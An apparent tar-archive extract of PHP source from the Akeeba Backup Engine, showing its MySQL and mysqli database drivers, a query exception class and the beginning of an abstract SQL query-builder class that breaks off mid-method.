		{
			$result = @mysql_set_charset('utf8mb4', $this->connection);
		}

		if (!$result)
		{
			$result = @mysql_set_charset('utf8', $this->connection);
		}

		return $result;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	public function transactionCommit()
	{
		$this->setQuery('COMMIT');
		$this->execute();
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	public function transactionRollback()
	{
		$this->setQuery('ROLLBACK');
		$this->execute();
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	public function transactionStart()
	{
		$this->setQuery('START TRANSACTION');
		$this->execute();
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Mysql  Returns this object to support chaining.
	 *
	 * @throws  Exception
	 * @since   11.4
	 */
	public function unlockTables()
	{
		$this->setQuery('UNLOCK TABLES')->execute();

		return $this;
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		return mysql_fetch_row($cursor ?: $this->cursor);
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		return mysql_fetch_object($cursor ?: $this->cursor, $class);
	}

	/**
	 * Gets the CREATE TABLE command for a given table/view
	 *
	 * @param   string  $table_abstract  The abstracted name of the entity
	 * @param   string  $table_name      The name of the table
	 * @param   string  $type            The type of the entity to scan. If it's found to differ, the correct type is
	 *                                   returned.
	 *
	 * @return string The CREATE command, w/out newlines
	 */
	protected function get_create($table_abstract, $table_name, &$type)
	{
		$sql = "SHOW CREATE TABLE `$table_abstract`";
		$this->setQuery($sql);
		$temp      = $this->loadRowList();
		$table_sql = $temp[0][1];
		unset($temp);

		// Smart table type detection
		if (in_array($type, ['table', 'merge', 'view']))
		{
			// Check for CREATE VIEW
			$pattern = '/^CREATE(.*) VIEW (.*)/i';
			$result  = preg_match($pattern, $table_sql);
			if ($result === 1)
			{
				// This is a view.
				$type = 'view';
			}
			else
			{
				// This is a table.
				$type = 'table';
			}

			// Is it a VIEW but we don't have SHOW VIEW privileges?
			if (empty($table_sql))
			{
				$type = 'view';
			}
		}

		$table_sql = str_replace($table_name, $table_abstract, $table_sql);

		// Replace newlines with spaces
		$table_sql = str_replace("\n", " ", $table_sql) . ";\n";
		$table_sql = str_replace("\r", " ", $table_sql);
		$table_sql = str_replace("\t", " ", $table_sql);

		// Post-process CREATE VIEW
		if ($type == 'view')
		{
			$pos_view = strpos($table_sql, ' VIEW ');

			if ($pos_view > 7)
			{
				// Only post process if there are view properties between the CREATE and VIEW keywords
				$propstring = substr($table_sql, 7, $pos_view - 7); // Properties string
				// Fetch the ALGORITHM={UNDEFINED | MERGE | TEMPTABLE} keyword
				$algostring = '';
				$algo_start = strpos($propstring, 'ALGORITHM=');
				if ($algo_start !== false)
				{
					$algo_end   = strpos($propstring, ' ', $algo_start);
					$algostring = substr($propstring, $algo_start, $algo_end - $algo_start + 1);
				}
				// Create our modified create statement
				$table_sql = 'CREATE OR REPLACE ' . $algostring . substr($table_sql, $pos_view);
			}
		}

		return $table_sql;
	}

	/**
	 * Does this database server support UTF-8 four byte (utf8mb4) collation?
	 *
	 * libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL server). mysqlnd supports utf8mb4 since 5.0.9.
	 *
	 * This method's code is based on WordPress' wpdb::has_cap() method
	 *
	 * @return  bool
	 */
	protected function supportsUtf8mb4()
	{
		$client_version = mysql_get_client_info();

		if (strpos($client_version, 'mysqlnd') !== false)
		{
			$client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version);

			return version_compare($client_version, '5.0.9', '>=');
		}
		else
		{
			return version_compare($client_version, '5.5.3', '>=');
		}
	}

	protected function unsafe_escape($string)
	{
		if (function_exists('mb_ereg_replace'))
		{
			return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x27\x5C]', '\\\0', $string);
		}

		return preg_replace('~[\x00\x0A\x0D\x1A\x22\x27\x5C]~u', '\\\$0', $string);
	}
}
com_akeeba/BackupEngine/Driver/Mysqli.php000060400000036424152455305260014403 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Mysqli as QueryMysqli;
use Akeeba\Engine\FixMySQLHostname;
use mysqli_result;
use RuntimeException;

/**
 * MySQL Improved (mysqli) database driver for Akeeba Engine
 *
 * Based on Joomla! Platform 11.2
 */
#[\AllowDynamicProperties]
class Mysqli extends Mysql
{
	use FixMySQLHostname;

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $name = 'mysqli';

	/** @var \mysqli|null The db connection resource */
	protected $connection = '';

	/** @var mysqli_result|null The database connection cursor from the last query. */
	protected $cursor;

	protected $port;

	protected $socket;

	protected $ssl = [];

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$this->driverType = 'mysql';

		// Init
		$this->nameQuote = '`';

		$options['ssl'] = $options['ssl'] ?? [];
		$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

		$options['ssl']['enable']             = ($options['ssl']['enable'] ?? $options['dbencryption'] ?? false) ?: false;
		$options['ssl']['cipher']             = ($options['ssl']['cipher'] ?? $options['dbsslcipher'] ?? null) ?: null;
		$options['ssl']['ca']                 = ($options['ssl']['ca'] ?? $options['dbsslca'] ?? null) ?: null;
		$options['ssl']['capath']             = ($options['ssl']['capath'] ?? $options['dbsslcapath'] ?? null) ?: null;
		$options['ssl']['key']                = ($options['ssl']['key'] ?? $options['dbsslkey'] ?? null) ?: null;
		$options['ssl']['cert']               = ($options['ssl']['cert'] ?? $options['dbsslcert'] ?? null) ?: null;
		$options['ssl']['verify_server_cert'] = ($options['ssl']['verify_server_cert'] ?? $options['dbsslverifyservercert'] ?? false) ?: false;

		// Figure out if a port is included in the host name
		$this->fixHostnamePortSocket($options['host'], $options['port'], $options['socket']);

		// Set the information
		$this->host           = $options['host'] ?? 'localhost';
		$this->user           = $options['user'] ?? '';
		$this->password       = $options['password'] ?? '';
		$this->port           = $options['port'] ?? '';
		$this->socket         = $options['socket'] ?? '';
		$this->_database      = $options['database'] ?? '';
		$this->selectDatabase = $options['select'] ?? true;
		$this->ssl            = $options['ssl'] ?? [];

		// Finalize initialization. Also opens the connection.
		parent::__construct($options);
	}

	/**
	 * Test to see if the MySQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 */
	public static function isSupported()
	{
		return (function_exists('mysqli_connect'));
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor) && ($this->cursor instanceof mysqli_result))
		{
			try
			{
				@$this->cursor->free();
			}
			catch (\Throwable $e)
			{
			}

			$this->cursor = null;
		}

		if (is_object($this->connection) && ($this->connection instanceof \mysqli))
		{
			try
			{
				$return = @$this->connection->close();
			}
			catch (\Throwable $e)
			{
				$return = false;
			}
		}

		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		if (!is_object($this->connection))
		{
			return false;
		}

		// mysqli_ping is deprecated since PHP 8.4.
		if (version_compare(PHP_VERSION, '8.4.0', '<'))
		{
			try
			{
				return @mysqli_ping($this->connection);
			}
			catch (\Throwable $e)
			{
				return false;
			}
		}

		try
		{
			$cursor = @mysqli_query($this->connection, 'SELECT 1');

			if (!$cursor)
			{
				return false;
			}

			mysqli_free_result($cursor);

			return true;
		}
		catch (\Throwable $e)
		{
			return false;
		}
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (is_null($text))
		{
			return 'NULL';
		}

		$result = @mysqli_real_escape_string($this->getConnection(), $text);

		if ($result === false)
		{
			// Attempt to reconnect.
			try
			{
				$this->connection = null;
				$this->open();

				$result = @mysqli_real_escape_string($this->getConnection(), $text);;
			}
			catch (RuntimeException $e)
			{
				$result = $this->unsafe_escape($text);
			}
		}

		if ($extra)
		{
			$result = addcslashes($result, '%_');
		}

		return $result;
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		return mysqli_fetch_assoc($cursor ?: $this->cursor);
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		mysqli_free_result($cursor ?: $this->cursor);
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		return mysqli_affected_rows($this->connection);
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   mysqli_result  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		return mysqli_num_rows($cursor ?: $this->cursor);
	}

	/**
	 * Get the current or query, or new JDatabaseQuery object.
	 *
	 * @param   boolean  $new  False to return the last query set, True to return a new JDatabaseQuery object.
	 *
	 * @return  mixed  The current value of the internal SQL variable or a new JDatabaseQuery object.
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new QueryMysqli($this);
		}
		else
		{
			return $this->sql;
		}
	}

	public function createQuery()
	{
		return new QueryMysqli($this);
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		return mysqli_get_server_info($this->connection);
	}

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		$mariadb = stripos($this->connection->server_info, 'mariadb') !== false;
		$client_version = mysqli_get_client_info();
		$server_version = $this->getVersion();

		if (version_compare($server_version, '5.5.3', '<'))
		{
			return false;
		}

		if ($mariadb && version_compare($server_version, '10.0.0', '<'))
		{
			return false;
		}

		if (strpos($client_version, 'mysqlnd') !== false)
		{
			$client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version);

			return version_compare($client_version, '5.0.9', '>=');
		}

		return version_compare($client_version, '5.5.3', '>=');
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		return mysqli_insert_id($this->connection);
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		// perform a number of fatality checks, then return gracefully
		if (!function_exists('mysqli_connect'))
		{
			$this->errorNum = 1;
			$this->errorMsg = 'The MySQL adapter "mysqli" is not available.';

			return;
		}

		// Let's prepare a connection
		$this->connection = mysqli_init();

		$connectionFlags = 0;

		// For SSL/TLS connection encryption.
		if ($this->ssl !== [] && $this->ssl['enable'] === true)
		{
			$connectionFlags = $connectionFlags | MYSQLI_CLIENT_SSL;

			// Verify server certificate is only available in PHP 5.6.16+. See https://www.php.net/ChangeLog-5.php#5.6.16
			if (isset($this->ssl['verify_server_cert']))
			{
				// New constants in PHP 5.6.16+. See https://www.php.net/ChangeLog-5.php#5.6.16
				if ($this->ssl['verify_server_cert'] === true && defined('MYSQLI_CLIENT_SSL_VERIFY_SERVER_CERT'))
				{
					$connectionFlags = $connectionFlags | MYSQLI_CLIENT_SSL_VERIFY_SERVER_CERT;
				}
				elseif ($this->ssl['verify_server_cert'] === false && defined('MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT'))
				{
					$connectionFlags = $connectionFlags | MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT;
				}
				elseif (defined('MYSQLI_OPT_SSL_VERIFY_SERVER_CERT'))
				{
					$this->connection->options(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT, $this->ssl['verify_server_cert']);
				}
			}

			// Add SSL/TLS options only if changed.
			$this->connection->ssl_set(
				($this->ssl['key'] ?? null) ?: null,
				($this->ssl['cert'] ?? null) ?: null,
				($this->ssl['ca'] ?? null) ?: null,
				($this->ssl['capath'] ?? null) ?: null,
				($this->ssl['cipher'] ?? null) ?: null
			);
		}

		// Attempt to connect to the server, use error suppression to silence warnings and allow us to throw an Exception separately.
		try
		{
			$connected = @$this->connection->real_connect(
				$this->host,
				$this->user,
				$this->password ?: null,
				null,
				$this->port ?: 3306,
				$this->socket ?: null,
				$connectionFlags
			);
		}
		catch (\Throwable $e)
		{
			$connected = false;
		}

		// connect to the server
		if (!$connected)
		{
			$this->errorNum = 2;
			$this->errorMsg = 'Could not connect to MySQL';

			return;
		}

		// Set sql_mode to non_strict mode
		mysqli_query($this->connection, "SET @@SESSION.sql_mode = '';");

		if ($this->selectDatabase && !empty($this->_database))
		{
			if (!$this->select($this->_database))
			{
				$this->errorNum = 3;
				$this->errorMsg = "Cannot select database {$this->_database}";

				return;
			}
		}

		$this->setUTF();
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		$this->open();

		if (!is_object($this->connection))
		{
			throw new RuntimeException($this->errorMsg, $this->errorNum);
		}

		// Take a local copy so that we don't modify the original query and cause issues later
		$query = $this->replacePrefix((string) $this->sql);
		if ($this->limit > 0 || $this->offset > 0)
		{
			$query .= ' LIMIT ' . $this->offset . ', ' . $this->limit;
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $query;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost.
		$this->cursor = @mysqli_query($this->connection, $query);

		// If an error occurred handle it.
		if (!$this->cursor)
		{
			$this->errorNum = 0;
			$this->errorMsg = '';

			if ($this->connection)
			{
				$this->errorNum = (int) @mysqli_errno($this->connection);
				$this->errorMsg = (string) @mysqli_error($this->connection) . ' SQL=' . $query;
			}

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
					// If connect fails, ignore that exception and throw the normal exception.
				catch (RuntimeException $e)
				{
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			// The server was not disconnected.
			elseif ($this->errorNum != 0)
			{
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->cursor;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		if (!$database)
		{
			return false;
		}

		if (!mysqli_select_db($this->connection, $database))
		{
			return false;
		}

		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		$result = false;

		if ($this->supportsUtf8mb4())
		{
			$result = @mysqli_set_charset($this->connection, 'utf8mb4');
		}

		if (!$result)
		{
			$result = @mysqli_set_charset($this->connection, 'utf8');
		}

		return $result;

	}

	/**
	 * Does this database server support UTF-8 four byte (utf8mb4) collation?
	 *
	 * libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL server). mysqlnd supports utf8mb4 since 5.0.9.
	 *
	 * This method's code is based on WordPress' wpdb::has_cap() method
	 *
	 * @return  bool
	 */
	public function supportsUtf8mb4()
	{
		$client_version = mysqli_get_client_info();

		if (strpos($client_version, 'mysqlnd') !== false)
		{
			$client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version);

			return version_compare($client_version, '5.0.9', '>=');
		}
		else
		{
			return version_compare($client_version, '5.5.3', '>=');
		}
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		return mysqli_fetch_row($cursor ?: $this->cursor);
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		return mysqli_fetch_object($cursor ?: $this->cursor, $class);
	}
}
com_akeeba/BackupEngine/Driver/QueryException.php000060400000001657152455305260016111 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Exception;

class QueryException extends Exception
{
}
com_akeeba/BackupEngine/Driver/Query/Base.php000060400000113371152455305260015101 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Base as DriverBase;
use Akeeba\Engine\Driver\Query\Element as QueryElement;
use Akeeba\Engine\Driver\Query\Limitable as QueryLimitable;
use Akeeba\Engine\Driver\QueryException;

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
abstract class Base
{
	/**
	 * @var    DriverBase  The database connection resource.
	 */
	protected $db = null;

	/**
	 * @var    string  The SQL query (if a direct query string was provided).
	 */
	protected $sql = null;

	/**
	 * @var    string  The query type.
	 */
	protected $type = '';

	/**
	 * @var    QueryElement  The query element for a generic query (type = null).
	 */
	protected $element = null;

	/**
	 * @var    QueryElement  The select element.
	 */
	protected $select = null;

	/**
	 * @var    QueryElement  The delete element.
	 */
	protected $delete = null;

	/**
	 * @var    QueryElement  The update element.
	 */
	protected $update = null;

	/**
	 * @var    QueryElement  The insert element.
	 */
	protected $insert = null;

	/**
	 * @var    QueryElement  The from element.
	 */
	protected $from = null;

	/**
	 * @var    QueryElement  The join element.
	 */
	protected $join = null;

	/**
	 * @var    QueryElement  The set element.
	 */
	protected $set = null;

	/**
	 * @var    QueryElement  The where element.
	 */
	protected $where = null;

	/**
	 * @var    QueryElement  The group by element.
	 */
	protected $group = null;

	/**
	 * @var    QueryElement  The having element.
	 */
	protected $having = null;

	/**
	 * @var    QueryElement  The column list for an INSERT statement.
	 */
	protected $columns = null;

	/**
	 * @var    QueryElement  The values list for an INSERT statement.
	 */
	protected $values = null;

	/**
	 * @var    QueryElement  The order element.
	 */
	protected $order = null;

	/**
	 * @var   object  The auto increment insert field element.
	 */
	protected $autoIncrementField = null;

	/**
	 * @var    QueryElement  The call element.
	 */
	protected $call = null;

	/**
	 * @var    QueryElement  The exec element.
	 */
	protected $exec = null;

	/**
	 * @var    QueryElement  The union element.
	 */
	protected $union = null;

	/**
	 * @var    QueryElement  The unionAll element.
	 */
	protected $unionAll = null;

	/**
	 * Class constructor.
	 *
	 * @param   DriverBase  $db  The database connector resource.
	 */
	public function __construct(DriverBase $db = null)
	{
		$this->db = $db;
	}

	/**
	 * Magic method to provide method alias support for quote() and quoteName().
	 *
	 * @param   string  $method  The called method.
	 * @param   array   $args    The array of arguments passed to the method.
	 *
	 * @return  string  The aliased method's return value or null.
	 */
	public function __call($method, $args)
	{
		if (empty($args))
		{
			return null;
		}

		switch ($method)
		{
			case 'q':
				return $this->quote($args[0], $args[1] ?? true);
				break;

			case 'qn':
				return $this->quoteName($args[0]);
				break;

			case 'e':
				return $this->escape($args[0], $args[1] ?? false);
				break;
		}

		return null;
	}

	/**
	 * Magic function to convert the query to a string.
	 *
	 * @return  string    The completed query.
	 */
	public function __toString()
	{
		$query = '';

		if ($this->sql)
		{
			return $this->sql;
		}

		switch ($this->type)
		{
			case 'element':
				$query .= (string) $this->element;
				break;

			case 'select':
				$query .= (string) $this->select;
				$query .= (string) $this->from;

				if ($this->join)
				{
					// Special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				if ($this->group)
				{
					$query .= (string) $this->group;
				}

				if ($this->having)
				{
					$query .= (string) $this->having;
				}

				if ($this->order)
				{
					$query .= (string) $this->order;
				}

				break;

			case 'union':
				$query .= (string) $this->union;
				break;

			case 'unionAll':
				$query .= (string) $this->unionAll;
				break;

			case 'delete':
				$query .= (string) $this->delete;
				$query .= (string) $this->from;

				if ($this->join)
				{
					// Special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				break;

			case 'update':
				$query .= (string) $this->update;

				if ($this->join)
				{
					// Special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				$query .= (string) $this->set;

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				break;

			case 'insert':
				$query .= (string) $this->insert;

				// Set method
				if ($this->set)
				{
					$query .= (string) $this->set;
				}
				// Columns-Values method
				elseif ($this->values)
				{
					if ($this->columns)
					{
						$query .= (string) $this->columns;
					}

					$elements = $this->values->getElements();

					if (!($elements[0] instanceof $this))
					{
						$query .= ' VALUES ';
					}

					$query .= (string) $this->values;
				}

				break;

			case 'call':
				$query .= (string) $this->call;
				break;

			case 'exec':
				$query .= (string) $this->exec;
				break;
		}

		if ($this instanceof QueryLimitable)
		{
			$query = $this->processLimit($query, $this->limit, $this->offset);
		}

		return $query;
	}

	/**
	 * Magic function to get protected variable value
	 *
	 * @param   string  $name  The name of the variable.
	 *
	 * @return  mixed
	 */
	public function __get($name)
	{
		return $this->$name ?? null;
	}

	/**
	 * Add a single column, or array of columns to the CALL clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The call method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->call('a.*')->call('b.id');
	 * $query->call(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function call($columns)
	{
		$this->type = 'call';

		if (is_null($this->call))
		{
			$this->call = new QueryElement('CALL', $columns);
		}
		else
		{
			$this->call->append($columns);
		}

		return $this;
	}

	/**
	 * Casts a value to a char.
	 *
	 * Ensure that the value is properly quoted before passing to the method.
	 *
	 * Usage:
	 * $query->select($query->castAsChar('a'));
	 *
	 * @param   string  $value  The value to cast as a char.
	 *
	 * @return  string  Returns the cast value.
	 */
	public function castAsChar($value)
	{
		return $value;
	}

	/**
	 * Gets the number of characters in a string.
	 *
	 * Note, use 'length' to find the number of bytes in a string.
	 *
	 * Usage:
	 * $query->select($query->charLength('a'));
	 *
	 * @param   string  $field      A value.
	 * @param   string  $operator   Comparison operator between charLength integer value and $condition
	 * @param   string  $condition  Integer value to compare charLength with.
	 *
	 * @return  string  The required char length call.
	 */
	public function charLength($field, $operator = null, $condition = null)
	{
		return 'CHAR_LENGTH(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : '');
	}

	/**
	 * Clear data from the query or a specific clause of the query.
	 *
	 * @param   string  $clause  Optionally, the name of the clause to clear, or nothing to clear the whole query.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function clear($clause = null)
	{
		$this->sql = null;

		switch ($clause)
		{
			case 'select':
				$this->select = null;
				$this->type   = null;
				break;

			case 'delete':
				$this->delete = null;
				$this->type   = null;
				break;

			case 'update':
				$this->update = null;
				$this->type   = null;
				break;

			case 'insert':
				$this->insert             = null;
				$this->type               = null;
				$this->autoIncrementField = null;
				break;

			case 'from':
				$this->from = null;
				break;

			case 'join':
				$this->join = null;
				break;

			case 'set':
				$this->set = null;
				break;

			case 'where':
				$this->where = null;
				break;

			case 'group':
				$this->group = null;
				break;

			case 'having':
				$this->having = null;
				break;

			case 'order':
				$this->order = null;
				break;

			case 'columns':
				$this->columns = null;
				break;

			case 'values':
				$this->values = null;
				break;

			case 'exec':
				$this->exec = null;
				$this->type = null;
				break;

			case 'call':
				$this->call = null;
				$this->type = null;
				break;

			case 'limit':
				$this->offset = 0;
				$this->limit  = 0;
				break;

			case 'union':
				$this->union = null;
				break;

			case 'unionAll':
				$this->unionAll = null;
				break;

			default:
				$this->type               = null;
				$this->select             = null;
				$this->delete             = null;
				$this->update             = null;
				$this->insert             = null;
				$this->from               = null;
				$this->join               = null;
				$this->set                = null;
				$this->where              = null;
				$this->group              = null;
				$this->having             = null;
				$this->order              = null;
				$this->columns            = null;
				$this->values             = null;
				$this->autoIncrementField = null;
				$this->exec               = null;
				$this->call               = null;
				$this->union              = null;
				$this->unionAll           = null;
				$this->offset             = 0;
				$this->limit              = 0;
				break;
		}

		return $this;
	}

	/**
	 * Adds a column, or array of column names that would be used for an INSERT INTO statement.
	 *
	 * @param   mixed  $columns  A column name, or array of column names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function columns($columns)
	{
		if (is_null($this->columns))
		{
			$this->columns = new QueryElement('()', $columns);
		}
		else
		{
			$this->columns->append($columns);
		}

		return $this;
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * Usage:
	 * $query->select($query->concatenate(array('a', 'b')));
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			return 'CONCATENATE(' . implode(' || ' . $this->quote($separator) . ' || ', $values) . ')';
		}
		else
		{
			return 'CONCATENATE(' . implode(' || ', $values) . ')';
		}
	}

	/**
	 * Gets the current date and time.
	 *
	 * Usage:
	 * $query->where('published_up < '.$query->currentTimestamp());
	 *
	 * @return  string
	 */
	public function currentTimestamp()
	{
		return 'CURRENT_TIMESTAMP()';
	}

	/**
	 * Returns a PHP date() function compliant date format for the database driver.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the getDateFormat method directly.
	 *
	 * @return  string  The format string.
	 */
	public function dateFormat()
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->getDateFormat();
	}

	/**
	 * Creates a formatted dump of the query for debugging purposes.
	 *
	 * Usage:
	 * echo $query->dump();
	 *
	 * @return  string
	 */
	public function dump()
	{
		return '<pre class="AkeebaEngineQuery">' . str_replace('#__', $this->db->getPrefix(), $this) . '</pre>';
	}

	/**
	 * Add a table name to the DELETE clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->delete('#__a')->where('id = 1');
	 *
	 * @param   string  $table  The name of the table to delete from.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function delete($table = null)
	{
		$this->type   = 'delete';
		$this->delete = new QueryElement('DELETE', null);

		if (!empty($table))
		{
			$this->from($table);
		}

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the escape method directly.
	 *
	 * Note that 'e' is an alias for this method as it is in DriverBase.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
